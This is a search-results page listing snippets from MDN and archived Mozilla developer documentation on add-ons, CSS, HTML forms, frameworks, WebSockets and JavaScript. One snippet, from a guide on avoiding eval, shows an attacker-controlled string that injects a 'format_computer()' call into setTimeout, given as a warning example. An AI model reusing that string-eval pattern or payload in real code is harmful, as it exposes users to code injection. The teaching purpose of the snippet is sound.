...logdeactivate(tab) { console.log(tab.url + " is deactivated"); } function logclose(tab) { console.log(tab.url + " is closed"); } tabs.on('open', onopen); manipulate a tab you can get and set various properties of tabs (but note that properties relating to the tab's content, such as the url, will not contain valid values until after the tab's ready event fires).
...And 15 more matches
Appendix C: Avoiding using eval in Add-ons - Archive of obsolete content
settimeout("dosomething();", 100); addeventlistener("load", "myaddon.init(); myaddon.onload();", true); setinterval(am_i_a_string_or_function_reference_qmark, 100); that in itself is certainly not elegant, but it may also become a security issue if you pass code that was externally retrieved (or at least contains bits of externally retrieved data): // do not use!
... settimeout("alert('" + xhr.responsetext + "');", 100); // attacker manipulated responsetext to contain "attack!'); format_computer(); alert('done" settimeout("alert('attack!'); format_computer(); alert('done');", 100); as a general rule of thumb, just don't pass code around as strings and execute it by calling eval, settimeout and friends.
... addeventlistener("load", function() { myaddon.init(); myaddon.onload(); }, true); function doxhr() { //...
...And 15 more matches
Search Extension Tutorial (Draft) - Archive of obsolete content
pref("browser.search.defaultenginename", "data:text/plain,browser.search.defaultenginename=example engine"); in the case or restartless extensions, the preferences need to be changed manually, and reverted when the extension is disabled if they have not been changed in the meantime.
...cu.import("resource://gre/modules/services.jsm"); // keep track of whether this is the first run.
...var userprefs = services.prefs.getbranch(""); // get the root default preference branch.
...And 15 more matches
Learn XPI Installer Scripting by Example - Archive of obsolete content
in the browser.xpi installation, this function appears at line 20: var err = initinstall("netscape seamonkey", "browser", "6.0.0.2000110807"); if you call a method on the install object before initinstall(), you will get an error.
...in the example above, "netscape seamonkey" is the display name, "browser" is the registry name, and the version is "6.0.0.2000110807." see initinstall in the xpinstall api reference for more information on the initialization process.
...k space in kilobytes function verifydiskspace(dirpath, spacerequired) { var spaceavailable; // get the available disk space on the given path spaceavailable = filegetdiskspaceavailable(dirpath); // convert the available disk space into kilobytes spaceavailable = parseint(spaceavailable / 1024); // do the verification if(spaceavailable < spacerequired) { logcomment("insufficient disk space: " + dirpath); logcomment(" required : " + spacerequired + " k"); logcomment(" available: " + spaceavailable + " k"); return(false); } return(true); } in the verifydiskspace block, filegetdiskspaceavailable is called with dirpath as its expected input.
...And 15 more matches
Menus - Archive of obsolete content
<menubar id="sample-menubar"> <menu id="file-menu" label="file"> <menupopup id="file-popup"> <menuitem label="new"/> <menuitem label="open"/> <menuitem label="save"/> <menuseparator/> <menuitem label="exit"/> </menupopup> </menu> </menubar> there are five tags used in this example, described briefly here: menubar a row of menus that appears along the top of the w...
... <menubar id="sample-menubar"> <menu id="file-menu" label="file"> ...
... </menu> <menu id="tools-menu" label="tools"> ...
...And 15 more matches
Introduction to SSL - Archive of obsolete content
the document assumes that you are familiar with the basic concepts of public-key cryptography, as summarized in "introduction to public-key cryptography." the ssl protocol the transmission control protocol/internet protocol (tcp/ip) governs the transport and routing of data over the internet.
... other protocols, such as the hypertext transport protocol (http), lightweight directory access protocol (ldap), or internet messaging access protocol (imap), run "on top of" tcp/ip in the sense that they all use tcp/ip to support typical application tasks such as displaying web pages or running email servers.
... for more information about the handshake process, see "the ssl handshake." ciphers used with ssl the ssl protocol supports the use of a variety of different cryptographic algorithms, or ciphers, for use in operations such as authenticating the server and client to each other, transmitting certificates, and establishing session keys.
...And 15 more matches
Examples - Archive of obsolete content
this page contains the source code of the examples related to the "properly using css and javascript in xhtml documents" article.
... examples for "problems with inline style and script" problem 1 <!-- this file should have a .xhtml extension and will generate an error when parsed.
... --> <!doctype html public "-//w3c//dtd xhtml 1.0 strict//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en-us" xml:lang="en-us"> <head> <title>problem 1 - &lt; in xhtml</title> <meta http-equiv="content-type" content="application/xhtml+xml; charset=utf-8" /> <script type="text/javascript"> var i = 0; while (++i > 10) { // ...
...And 15 more matches
Back to the Server: Server-Side JavaScript On The Rise - Archive of obsolete content
listing 1 - querying a mysql database from rhino // import the java sql packages importpackage( java.sql ); // load the mysql driver java.lang.class.forname( "com.mysql.jdbc.driver" ); // create connection to the database var conn = drivermanager.getconnection( "jdbc:mysql://localhost/rhino", "urhino", "prhino" ); // create a statement handle var stmt = conn.createstatement(); // get a resultset var rs = stmt.executequery( "select * from employee" ); // get the metadata from the resultset var meta = rs.getmetadata(); // loop over the records, dump ...
...out column names and values while( rs.next() ) { for( var i = 1; i <= meta.getcolumncount(); i++ ) { print( meta.getcolumnname( i ) + ": " + rs.getobject( i ) + "\n" ); } print( "----------\n" ); } // cleanup rs.close(); stmt.close(); conn.close(); this code starts off by using a rhino function named importpackage which is just like using the import statement in java.
... importpackage( java.net ); // connect to the remote resource var u = new url( "http://www.mozilla.org/news.rdf" ); var c = u.openconnection(); c.connect(); // read in the raw data var s = new java.io.inputstreamreader( c.getinputstream() ); var b = new java.io.bufferedreader( s ); var l, str = ""; while( ( l = b.readline() ) != null ) { // skip if( l != "" ) { str = str + l + "\n"; } } // define the namespaces, first the default, // then additional namespaces default x...
...And 15 more matches
Multiple-column layout - Learn web development
column-count example body { width: 90%; max-width: 900px; margin: 2em auto; font: .9em/1.2 arial, helvetica, sans-serif; } <div class="container"> <h1>simple multicol example</h1> <p> lorem ipsum dolor sit amet, consectetur adipiscing elit.
... column-width example body { width: 90%; max-width: 900px; margin: 2em auto; font: .9em/1.2 arial, helvetica, sans-serif; } <div class="container"> <h1>simple multicol example</h1> <p> lorem ipsum dolor sit amet, consectetur adipiscing elit.
... styling the columns body { width: 90%; max-width: 900px; margin: 2em auto; font: .9em/1.2 arial, helvetica, sans-serif; } .container { column-count: 3; column-gap: 20px; column-rule: 4px dotted rgb(79, 185, 227); } <div class="container"> <h1>simple multicol example</h1> <p> lorem ipsum dolor sit amet, consectetur adipiscing elit.
...And 15 more matches
The HTML5 input types - Learn web development
e-mail address field this type of field is set using the value email for the type attribute: <input type="email" id="email" name="email"> when this type is used, the user is required to type a valid email address into the field.
... you can also use the multiple attribute in combination with the email input type to allow several email addresses to be entered in the same input (separated by commas): <input type="email" id="email" name="email" multiple> on some devices — notably, touch devices with dynamic keyboards like smart phones — a different virtual keypad might be presented that is more suitable for entering email addresses, including the @ key.
...this type of field is set by using the value search for the type attribute: <input type="search" id="search" name="search"> the main difference between a text field and a search field is how the browser styles its appearance.
...And 15 more matches
How to build custom form controls - Learn web development
if you consider that the active state and the open state are completely different, the answer is again "nothing will happen" because we did not define any keyboard interactions for the opened state.
...--> <div class="select" tabindex="0"> <!-- this container will be used to display the current value of the control --> <span class="value">cherry</span> <!-- this container will contain all the options available for our control.
...--> <ul class="optlist"> <!-- each option only contains the value to be displayed, we'll see later how to handle the real value that will be sent with the form data --> <li class="option">cherry</li> <li class="option">lemon</li> <li class="option">banana</li> <li class="option">strawberry</li> <li class="option">apple</li> </ul> </div> note the use of class names; these identify each relevant part regardless of the actual underlying html elements used.
...And 15 more matches
Creating hyperlinks - Learn web development
<p>i'm creating a link to <a href="https://www.mozilla.org/">the mozilla homepage</a>.
... <p>i'm creating a link to <a href="https://www.mozilla.org/" title="the best place to find more information about mozilla's mission and how to contribute">the mozilla homepage</a>.
... <a href="https://www.mozilla.org/"> <img src="mozilla-image.png" alt="mozilla logo that links to the mozilla homepage"> </a> note: you'll find out more about using images on the web in a future article.
...And 15 more matches
Getting started with Vue - Learn web development
additionally, vue takes a "middle ground" approach to tooling like client-side routing and state management.
...great for development <script src="https://cdn.jsdelivr.net/npm/vue/dist/vue.js"></script> production script (optimized version, minimal console warnings.
... it is recommended that you specify a version number when including vue on your site so that any framework updates do not break your live site without you knowing.) <script src="/static/external/29/29296ccacaa9ed35ed168fc51e36f54fd6f8db9c7786bbf38cc59a27229ba5c2.svg"></script> however, this approach has some limitations.
...And 15 more matches
Command line crash course - Learn web development
previous overview: understanding client-side tools next in your development process you'll undoubtedly be required to run some command in the terminal (or on the "command line" — these are effectively the same thing).
... the next images show the command prompts available in windows — there’s a good range of options from the "cmd" program to "powershell" — which can be run from the start menu by typing the program name.
... navigation on the command line when you visit the command line you will inevitably need to navigate to a particular directory to "do something".
...And 15 more matches
nsIPromptService
inherits from: nsisupports last changed in gecko 1.7.5 you can define access keys (or keyboard shortcuts) for buttons by including an ampersand ("&") in front of the character that should be the access key for that button.
... if you need to include an ampersand in the button's text, use two of them, like this: "&&".
...to get an instance, use: var promptservice = components.classes["@mozilla.org/embedcomp/prompt-service;1"] .getservice(components.interfaces.nsipromptservice); method overview void alert(in nsidomwindow aparent, in wstring adialogtitle, in wstring atext); void alertcheck(in nsidomwindow aparent, in wstring adialogtitle, in wstring atext, in wstring acheckmsg, inout boolean acheckstate); boolean confirm(i...
...And 15 more matches
Standard OS Libraries
the most common, found on all windows os version, is "winapi".
... windows also has the "winapilists" and ".net framework" (i'm not sure if it can be accessed jsctypes but probably).
...so i went to the msdn winapi index page and then went to the "cursors" category and came across getcursorpos.
...And 15 more matches
Waterfall - Firefox Developer Tools
event type for example, "click" or "message".
... event phase for example, "target" or "capture".
...this operation is sometimes called "reflow".
...And 15 more matches
Applying styles and colors - Web APIs
function draw() { var ctx = document.getelementbyid('canvas').getcontext('2d'); for (var i = 0; i < 6; i++) { for (var j = 0; j < 6; j++) { ctx.fillstyle = 'rgb(' + math.floor(255 - 42.5 * i) + ', ' + math.floor(255 - 42.5 * j) + ', 0)'; ctx.fillrect(j * 25, i * 25, 25, 25); } } } <canvas id="canvas" width="150" height="150"></canvas> draw(); the result looks like this: screenshotlive sample a strokestyle example this example is similar to the one above, but uses the strokestyle property to change the colors of the shapes' outlines.
...t.getelementbyid('canvas').getcontext('2d'); for (var i = 0; i < 6; i++) { for (var j = 0; j < 6; j++) { ctx.strokestyle = 'rgb(0, ' + math.floor(255 - 42.5 * i) + ', ' + math.floor(255 - 42.5 * j) + ')'; ctx.beginpath(); ctx.arc(12.5 + j * 25, 12.5 + i * 25, 10, 0, math.pi * 2, true); ctx.stroke(); } } } <canvas id="canvas" width="150" height="150"></canvas> draw(); the result looks like this: screenshotlive sample transparency in addition to drawing opaque shapes to the canvas, we can also draw semi-transparent (or translucent) shapes.
...fillrect(75, 0, 75, 75); ctx.fillstyle = '#09f'; ctx.fillrect(0, 75, 75, 75); ctx.fillstyle = '#f30'; ctx.fillrect(75, 75, 75, 75); ctx.fillstyle = '#fff'; // set transparency value ctx.globalalpha = 0.2; // draw semi transparent circles for (var i = 0; i < 7; i++) { ctx.beginpath(); ctx.arc(75, 75, 10 + 10 * i, 0, math.pi * 2, true); ctx.fill(); } } <canvas id="canvas" width="150" height="150"></canvas> draw(); screenshotlive sample an example using rgba() in this second example, we do something similar to the one above, but instead of drawing circles on top of each other, i've drawn small rectangles with increasing opacity.
...And 15 more matches
RequestDestination - Web APIs
values "" the default value of destination is used for destinations that do not have their own value.
... "audio" the target is audio data.
... "audioworklet" the target is data being fetched for use by an audio worklet.
...And 15 more matches
A simple RTCDataChannel sample - Web APIs
first, we have a couple of buttons for establishing and closing the connection: <button id="connectbutton" name="connectbutton" class="buttonleft"> connect </button> <button id="disconnectbutton" name="disconnectbutton" class="buttonright" disabled> disconnect </button> then there's a box which contains the text input box into which the user can type a message to transmit, with a button to send the entered text.
... <div class="messagebox"> <label for="message">enter a message: <input type="text" name="message" id="message" placeholder="message text" inputmode="latin" size=60 maxlength=120 disabled> </label> <button id="sendbutton" name="sendbutton" class="buttonright" disabled> send </button> </div> finally, there's the little box into which we'll insert the messages.
... <div class="messagebox" id="receivebox"> <p>messages received:</p> </div> the javascript code while you can just look at the code itself on github, below we'll review the parts of the code that do the heavy lifting.
...And 15 more matches
Writing a WebSocket server in C# - Web APIs
here's a barebones server implementation: ​using system.net.sockets; using system.net; using system; class server { public static void main() { tcplistener server = new tcplistener(ipaddress.parse("127.0.0.1"), 80); server.start(); console.writeline("server has started on 127.0.0.1:80.{0}waiting for a connection...", environment.newline); tcpclient client = server.accepttcpclient(); console.writeline("a client connected."); } } tcpclient methods: system.net.sockets.networkstream getstream() gets the stream which is the communication channel.
... tcpclient client = server.accepttcpclient(); console.writeline("a client connected."); networkstream stream = client.getstream(); //enter to an infinite cycle to be able to handle every change in stream while (true) { while (!stream.dataavailable); byte[] bytes = new byte[client.available]; stream.read(bytes, 0, bytes.length); } handshaking when a client connects to a server, it sends a get request to upgrade the connection to a websocket fro...
... using system.text; using system.text.regularexpressions; while(client.available < 3) { // wait for enough bytes to be available } byte[] bytes = new byte[client.available]; stream.read(bytes, 0, bytes.length); //translate bytes of request to string string data = encoding.utf8.getstring(bytes); if (regex.ismatch(data, "^get")) { } else { } the response is easy to build, but might be a little bit difficult to understand.
...And 15 more matches
WindowOrWorkerGlobalScope.setInterval() - Web APIs
<!doctype html> <html> <head> <meta charset="utf-8" /> <title>setinterval/clearinterval example</title> <script> var nintervid; function changecolor() { nintervid = setinterval(flashtext, 1000); } function flashtext() { var oelem = document.getelementbyid('my_box'); oelem.style.color = oelem.style.color == 'red' ?
... } function stoptextcolor() { clearinterval(nintervid); } </script> </head> <body onload="changecolor();"> <div id="my_box"> <p>hello world</p> </div> <button onclick="stoptextcolor();">stop</button> </body> </html> example 3: typewriter simulation the following example simulates typewriter by first clearing and then slowly typing content into the nodelist that matches a specified group of selectors.
... <!doctype html> <html> <head> <meta charset="utf-8" /> <title>javascript typewriter - mdn example</title> <script> function typewriter (sselector, nrate) { function clean () { clearinterval(nintervid); btyping = false; bstart = true; ocurrent = null; asheets.length = nidx = 0; } function scroll (osheet, npos, beraseandstop) { if (!osheet.hasownproperty('parts') || amap.length < npos) { return true; } var orel, bexit = false; if (amap.length === npos) { amap.push(0); } while (amap[npos] < osheet.parts.length) { orel = osheet.parts[amap[npos]]; scroll(orel, npos + 1, beraseandstop) ?
...And 15 more matches
Getting Started - Developer guides
ajax’s most appealing characteristic is its "asynchronous" nature, which means it can communicate with the server, exchange data, and update the page without having to refresh the page.
... httprequest = new xmlhttprequest(); } else if (window.activexobject) { // ie 6 and older httprequest = new activexobject("microsoft.xmlhttp"); } note: for illustration purposes, the above is a somewhat simplified version of the code to be used for creating an xmlhttp instance.
...alternatively, instead of giving a function name, you can use the javascript technique of defining functions on the fly (called "anonymous functions") to define the actions that will process the response, like this: httprequest.onreadystatechange = function(){ // process the server response here.
...And 15 more matches
Expressions and operators - JavaScript
3 == var1 "3" == var1 3 == '3' not equal (!=) returns true if the operands are not equal.
... var1 != 4 var2 != "3" strict equal (===) returns true if the operands are equal and of the same type.
... var1 !== "3" 3 !== '3' greater than (>) returns true if the left operand is greater than the right operand.
...And 15 more matches
Functions - JavaScript
a non-primitive value, such as array or a user-defined object) as a parameter and the function changes the object's properties, that change is visible outside the function, as shown in the following example: function myfunc(theobject) { theobject.make = 'toyota'; } var mycar = {make: 'honda', model: 'accord', year: 1998}; var x, y; x = mycar.make; // x gets the value "honda" myfunc(mycar); y = mycar.make; // y gets the value "toyota" // (the make property was changed by the function) function expressions while the function declaration above is syntactically a statement, functions can also be created by a function expression.
...e defined in the global scope var num1 = 20, num2 = 3, name = 'chamahk'; // this function is defined in the global scope function multiply() { return num1 * num2; } multiply(); // returns 60 // a nested function example function getscore() { var num1 = 2, num2 = 3; function add() { return name + ' scored ' + (num1 + num2); } return add(); } getscore(); // returns "chamahk scored 5" scope and the function stack recursion a function can refer to and call itself.
... var x = 0; while (x < 10) { // "x < 10" is the loop condition // do stuff x++; } ...can be converted into a recursive function declaration, followed by a call to that function: function loop(x) { if (x >= 10) // "x >= 10" is the exit condition (equivalent to "!(x < 10)") return; // do stuff loop(x + 1); // the recursive call } loop(0); however, some algorithms cannot be simple iterative loops.
...And 15 more matches
Quantifiers - JavaScript
characters meaning x* matches the preceding item "x" 0 or more times.
... for example, /bo*/ matches "boooo" in "a ghost booooed" and "b" in "a bird warbled", but nothing in "a goat grunted".
... x+ matches the preceding item "x" 1 or more times.
...And 15 more matches
Intl.DateTimeFormat.prototype.formatToParts() - JavaScript
the structure the formattoparts() method returns, looks like this: [ { type: 'day', value: '17' }, { type: 'weekday', value: 'monday' } ] possible types are the following: day the string used for the day, for example "17".
... dayperiod the string used for the day period, for example, "am", "pm", "in the morning", or "noon" era the string used for the era, for example "bc" or "ad".
... fractionalsecond the string used for the fractional seconds, for example "0" or "00" or "000".
...And 15 more matches
Gradients in SVG - SVG: Scalable Vector Graphics
basic example <svg width="120" height="240" version="1.1" xmlns="http://www.w3.org/2000/svg"> <defs> <lineargradient id="gradient1"> <stop class="stop1" offset="0%"/> <stop class="stop2" offset="50%"/> <stop class="stop3" offset="100%"/> </lineargradient> <lineargradient id="gradient2" x1="0" x2="0" y1="0" y2="1"> <stop offset="0%" stop-color="red"/> <stop offset=...
..."50%" stop-color="black" stop-opacity="0"/> <stop offset="100%" stop-color="blue"/> </lineargradient> <style type="text/css"><![cdata[ #rect1 { fill: url(#gradient1); } .stop1 { stop-color: red; } .stop2 { stop-color: black; stop-opacity: 0; } .stop3 { stop-color: blue; } ]]></style> </defs> <rect id="rect1" x="10" y="10" rx="15" ry="15" width="100" height="100"/> <rect x="10" y="120" rx="15" ry="15" width="100" height="100" fill="url(#gradient2)"/> </svg> screenshotlive sample above is an example of a linear gradient being applied to a <rect> element.
... <stop offset="100%" stop-color="yellow" stop-opacity="0.5"/> to use a gradient, we have to reference it from an object's fill or stroke attributes.
...And 15 more matches
jpm - Archive of obsolete content
on debian and ubuntu, this can be remedied by ensuring you installed the compatibility package, nodejs-legacy: sudo apt-get install nodejs-legacy on other distributions, you may have to create a local symlink to nodejs manually: sudo ln -s "$(which nodejs)" /usr/local/bin/node installing jpm after you have npm installed and node on your path, install jpm just as you would any other npm package.
... installing jpm globally npm install jpm --global depending on your setup, you might need to run this as an administrator: sudo npm install jpm --global installing jpm locally if you do not wish to, or are unable to, install jpm globally, you may instead install it locally: cd $home && npm install jpm to run jpm from a terminal when installed locally, you must add the directory "$home/node_modules/.bin/" to your terminal's path first.
... add the following line to the end of the file $home/.profile to add it to your path permanently (as the file .profile is executed every time a new terminal is opened): export path="$home/node_modules/.bin/:$path" installing jpm from git alternatively, you can also get the latest version of jpm using git: git clone https://github.com/mozilla-jetpack/jpm.git cd jpm npm install npm link after installing jpm after installation, at the command prompt, type: jpm you should see a screen summarizing the available jpm commands.
...And 14 more matches
Interaction between privileged and non-privileged pages - Archive of obsolete content
var myextension = { mylistener: function(evt) { alert("received from web page: " + evt.target.getattribute("attribute1") + "/" + evt.target.getattribute("attribute2")); } } document.addeventlistener("myextensionevent", function(e) { myextension.mylistener(e); }, false, true); // the last value is a mozilla-specific value to indicate untrusted content is allowed to trigger the event.
...to trigger the alert() in the listener and pass the data from the web page, write code such as this in the web page: var element = document.createelement("myextensiondataelement"); element.setattribute("attribute1", "foobar"); element.setattribute("attribute2", "hello world"); document.documentelement.appendchild(element); var evt = document.createevent("events"); evt.initevent("myextensionevent", true, false); element.dispatchevent(evt); this code creates an arbitrary element -- <myextensiondataelement/> -- and inserts it into the web page's dom.
... (to better ensure others do not also implement the same event with a different meaning, one might either attach a namespace to <myextensiondataelement/> and check on the event handler for the correct namespaceuri property, or as per the dom specification, use initevent() with an event name that is itself namespaced (xml name characters only): "it is also strongly recommended that third parties adding their own events use their own prefix to avoid confusion and lessen the probability of conflicts with other new events.") in the case where your extension's overlay does not interact directly with browser.xul, such as in a sidebar, it might be easier to add the event listener to the top-level document directly as shown below (also see: acc...
...And 14 more matches
Appendix E: DOM Building and Insertion (HTML & XUL) - Archive of obsolete content
json templating jsontodom.namespaces = { html: "http://www.w3.org/1999/xhtml", xul: "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" }; jsontodom.defaultnamespace = jsontodom.namespaces.html; function jsontodom(jsontemplate, doc, nodes) { function namespace(name) { var reelemnameparts = /^(?:(.*):)?(.*)$/.exec(name); return { namespace: jsontodom.namespaces[reelemnameparts[1]], shortname: reelemnameparts[2...
...onclick) for (var key in elemattr) { var val = elemattr[key]; if (nodes && key == "key") { nodes[val] = elem; continue; } var attrns = namespace(key); if (typeof val == "function") { // special case for function attributes; don't just add them as 'on...' attributes, but as events, using addeventlistener elem.addeventlistener(key.replace(/^on/, ""), val, false); } ...
...they're not in any namespace) elem.setattributens(attrns.namespace || "", attrns.shortname, val); } } // create and append this element's children var childelems = array.slice(arguments, 2); childelems.foreach(function(childelem) { if (childelem != null) { elem.appendchild( childelem instanceof doc.defaultview.node ?
...And 14 more matches
Setting Up a Development Environment - Archive of obsolete content
komodo edit has automatic completion for xul tags and attributes, and it supports mozilla's css extensions (css values and properties beginning with "-moz").
...after setting up make, you should be able to open a command line window, run "make -ver", and get the installed version of make as output.
...in the "run" textbox you should type this: bash -c "make" or replace "make" with "make clean" for the clean command.
...And 14 more matches
Images, Tables, and Mysterious Gaps - Archive of obsolete content
almost no matter when you started creating web pages, odds are pretty high you have one or more designs based on the classic "convoluted tables and lots of images" paradigm.
...instead of "shrinkwrapping" the image itself, the browser is now wrapping around the line in which the image sits.
...the baseline's exact placement is dependent on the "default" font for the line box (represented by the red box), which is determined by the value of font-family for the element that contains the line box.
...And 14 more matches
Localization - Archive of obsolete content
<button label="&findlabel;"/> the text that will appear on the label will be the value that the entity &findlabel; has.
...in english, the &findlabel; entity will probably be declared to have the text "find".
...to do this, add a line of the following form somewhere near the top of the xul file: <!doctype window system "chrome://findfile/locale/findfile.dtd"> this line specifies that the url indicated is to be used as a dtd for the file.
...And 14 more matches
XUL Event Propagation - Archive of obsolete content
in this case, the event raised was the "click" event, but a variety of events can be raised by the button element.
... when the mouse moves over the button, for example, the "hover" event is raised.
...it's passive in that it doesn't look for a listener; it propagates or "bubbles up" the hierarchy of nodes within the interface until it is either handled in some way or passes out of the interface unhandled.
...And 14 more matches
Floats - Learn web development
first, we'll start off with some simple html — add the following to your html body, removing anything that was inside there before: <h1>simple float example</h1> <div class="box">float</div> <p>lorem ipsum dolor sit amet, consectetur adipiscing elit.
...to float the text around it add the float and margin-right properties to the .box rule: .box { float: left; margin-right: 15px; width: 150px; height: 100px; border-radius: 5px; background-color: rgb(207,232,220); padding: 1em; } now if you save and refresh you'll see something like the following: float example 1 <h1>simple float example</h1> <div class="box">float</div> <p>lorem ipsum dolor sit amet, consectetur adipiscing elit.
... float example 2 <h1>simple float example</h1> <div class="box">float</div> <p class="special">lorem ipsum dolor sit amet, consectetur adipiscing elit.
...And 14 more matches
Positioning - Learn web development
static positioning static positioning is the default that every element gets — it just means "put the element into its normal position in the document layout flow — nothing special to see here." to demonstrate this, and get your example set up for future sections, first add a class of positioned to the second <p> in the html: <p class="positioned"> ...
...my adjacent block level elements sit on new lines below me.</p> <p class="positioned">by default we span 100% of the width of our parent element, and we are as tall as our child content.
...overflowing inline elements <span>wrap onto a new line if possible — like this one containing text</span>, or just go on to a new line if not, much like this image will do: <img src="https://udn.realityripple.com/samples/9e/6ff6af6fd4.jpg"></p> body { width: 500px; margin: 0 auto; } p { background: aqua; border: 3px solid blue; padding: 10px; margin: 10px; } span { background: red; border: 1px solid black; } .positioned { position: relative; background: yellow; top: 30px; left: 30px; } cool, huh?
...And 14 more matches
Sending forms through JavaScript - Learn web development
sending arbitrary data asynchronously is generally called ajax, which stands for "asynchronous javascript and xml".
... let's look at an example: <button>click me!</button> and now the javascript: const btn = document.queryselector('button'); function senddata( data ) { console.log( 'sending data' ); const xhr = new xmlhttprequest(); let urlencodeddata = "", urlencodeddatapairs = [], name; // turn the data object into an array of url-encoded key/value pairs.
...note that formdata objects are "write only", which means you can change them, but not retrieve their contents.
...And 14 more matches
Beginning our React todo list - Learn web development
the jsx copy the following snippet to your clipboard, then paste it into app.js so that it replaces the existing app() function: function app(props) { return ( <div classname="todoapp stack-large"> <h1>todomatic</h1> <form> <h2 classname="label-wrapper"> <label htmlfor="new-todo-input" classname="label__lg"> what needs to be done?
... </label> </h2> <input type="text" id="new-todo-input" classname="input input__lg" name="text" autocomplete="off" /> <button type="submit" classname="btn btn__primary btn__lg"> add </button> </form> <div classname="filters btn-group stack-exception"> <button type="button" classname="btn toggle-btn" aria-pressed="true"> <span classname="visually-hidden">show </span> <span>all</span> <span classname="visually-hidden"> tasks</span> </button> <button type="button" classname="btn toggle-btn" aria-pressed="false"> <span classname="visually-hidden">show </span> <span>active</span> <span classnam...
...e="visually-hidden"> tasks</span> </button> <button type="button" classname="btn toggle-btn" aria-pressed="false"> <span classname="visually-hidden">show </span> <span>completed</span> <span classname="visually-hidden"> tasks</span> </button> </div> <h2 id="list-heading"> 3 tasks remaining </h2> <ul role="list" classname="todo-list stack-large stack-exception" aria-labelledby="list-heading" > <li classname="todo stack-small"> <div classname="c-cb"> <input id="todo-0" type="checkbox" defaultchecked={true} /> <label classname="todo-label" htmlfor="todo-0"> eat </label> </div> <div classname="...
...And 14 more matches
Deploying our app - Learn web development
here's just a few things to consider for this particular project: generating a production build: ensuring files are minimised, chunked, have tree-shaking applied, and that versions are "cache busted".
... running tests: these can range from "is this code formatted properly?" to "does this thing do what i expect?", and ensuring failing tests prevent deployment.
...this unique filename "busts" your browser's cache, thereby making sure the browser downloads the fresh code each time an update is made to the deployed code.
...And 14 more matches
Command line options
command parameters containing spaces must be enclosed in quotes, such as "joel user".
... each message option follows the syntax field=value, for example: to=foo@nowhere.net subject=cool page attachment=www.mozilla.org attachment='file:///c:/test.txt' body=check this page or also in thunderbird 52 and newer: body=c:\path\to\file.txt separate multiple message options by comma (,), for example: "to=foo@nowhere.net,subject=cool page" .
... to assign multiple values to a field, enclose the values in single quotes ('), for example: "to='foo@nowhere.net,foo@foo.de',subject=cool page" .
...And 14 more matches
Basics
</p> <div style="text-align:center"> fill the gaps in this matrix with resizable input fields.
... </div> <math class="inputmath" display="block"> <mrow> <mi>a</mi> <mo>=</mo> <mo>[</mo> <mtable> <mtr> <mtd><mn>1</mn></mtd> <mtd> <mtext><input id="input12" value="?" size="1"/></mtext> </mtd> </mtr> <mtr> <mtd> <mtext><input id="input21" value="?" size="1"/></mtext> </mtd> <mtd><mn>4</mn></mtd> </mtr> </mtable> <mo>]</mo> </mrow> </math> <div style="text-align:center"> left size: <a class="control" href="javascript:incrementinput('input21', 1);" title="increase input">+</a> <a class="control" href="javascript:incrementinput('input21',-1);" title="decrease input">-</a> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; right size: <a class="control" href="javascript:incrementinput('input12', 1);" title="increase input">+</a> <a class="control" href="javascript:incrementinput('input12',-1);" ti...
...tle="decrease input">-</a> <br/> (click these control buttons to see their effects.) </div> <p> each entry of the following matrix represents <math> <msup><mrow><mo>(</mo><mi>x</mi><mo>+</mo><mi>y</mi><mo>)</mo></mrow><mi>n</mi></msup> </math> for some <i>n</i>.
...And 14 more matches
Activity Monitor, Battery Status Menu and top
it is well-known and its "energy impact" measure is likely to be consulted by users to compare the power consumption of different programs.
... (apple support documentation specifically recommends it for troubleshooting battery life problems.) unfortunately "energy impact" is not a good measure for either users or software developers and it should be avoided.
...they can all be customized to show any of the available measurements (by right-clicking on the column strip) but only the "energy" tab groups child processes with parent processes, which is useful, so it's the best one to use.
...And 14 more matches
Setting HTTP request headers
// adds "x-hello: world" header to the request httpchannel.setrequestheader("x-hello", "world", false); in the example code above we have a variable named httpchannel which points to an object implementing nsihttpchannel.
...in particular, to get the nsihttpchannel just before the http request is made we need to observe the "http-on-modify-request" topic.
... (and yes, "http-on-modify-request" is a string.) note: there are many topics, besides just "http-on-modify-request", that you can get notifications about, for example "http-on-examine-response" and "xpcom-shutdown".
...And 14 more matches
Element.classList - Web APIs
WebAPIElementclassList
examples const div = document.createelement('div'); div.classname = 'foo'; // our starting state: <div class="foo"></div> console.log(div.outerhtml); // use the classlist api to remove and add classes div.classlist.remove("foo"); div.classlist.add("anotherclass"); // <div class="anotherclass"></div> console.log(div.outerhtml); // if visible is set remove it, otherwise add it div.classlist.toggle("visible"); // add/remove visible, depending on test conditional, i less than 10 div.classlist.toggle("visi...
...ble", i < 10 ); console.log(div.classlist.contains("foo")); // add or remove multiple classes div.classlist.add("foo", "bar", "baz"); div.classlist.remove("foo", "bar", "baz"); // add or remove multiple classes using spread syntax const cls = ["foo", "bar"]; div.classlist.add(...cls); div.classlist.remove(...cls); // replace class "foo" with class "bar" div.classlist.replace("foo", "bar"); versions of firefox before 26 do not implement the use of several arguments in the add/remove/toggle methods.
...string.prototype.trim polyfill if (!"".trim) string.prototype.trim = function(){ return this.replace(/^[\s]+|[\s]+$/g, ''); }; (function(window){"use strict"; // prevent global namespace pollution if(!window.domexception) (domexception = function(reason){this.message = reason}).prototype = new error; var wsre = /[\11\12\14\15\40]/, wsindex = 0, checkifvalidclasslistentry = function(o, v) { if (v === "") throw new domexception...
...And 14 more matches
Using microtasks in JavaScript with queueMicrotask() - Web APIs
consider code such as this: customelement.prototype.getdata = url => { if (this.cache[url]) { this.data = this.cache[url]; this.dispatchevent(new event("load")); } else { fetch(url).then(result => result.arraybuffer()).then(data => { this.cache[url] = data; this.data = data; this.dispatchevent(new event("load")); }); } }; the problem introduced here is that by using a task in one branch of the if...else statement (in the case in which the image is available in the cache) but having promises involved in the else claus...
... element.addeventlistener("load", () => console.log("loaded data")); console.log("fetching data..."); element.getdata(); console.log("data fetched"); executing this code twice in a row gives the results shown in the table below: results when data isn't cached (left) vs.
... we can ensure consistent ordering of these operations by using a microtask in the if clause to balance the two clauses: customelement.prototype.getdata = url => { if (this.cache[url]) { queuemicrotask(() => { this.data = this.cache[url]; this.dispatchevent(new event("load")); }); } else { fetch(url).then(result => result.arraybuffer()).then(data => { this.cache[url] = data; this.data = data; this.dispatchevent(new event("load")); }); } }; this balances the clauses by having both situations handle the setting of data and firing of the load event within a microtask (using queuemicrotask() in the if clause and using the promises...
...And 14 more matches
KeyboardEvent.getModifierState() - Web APIs
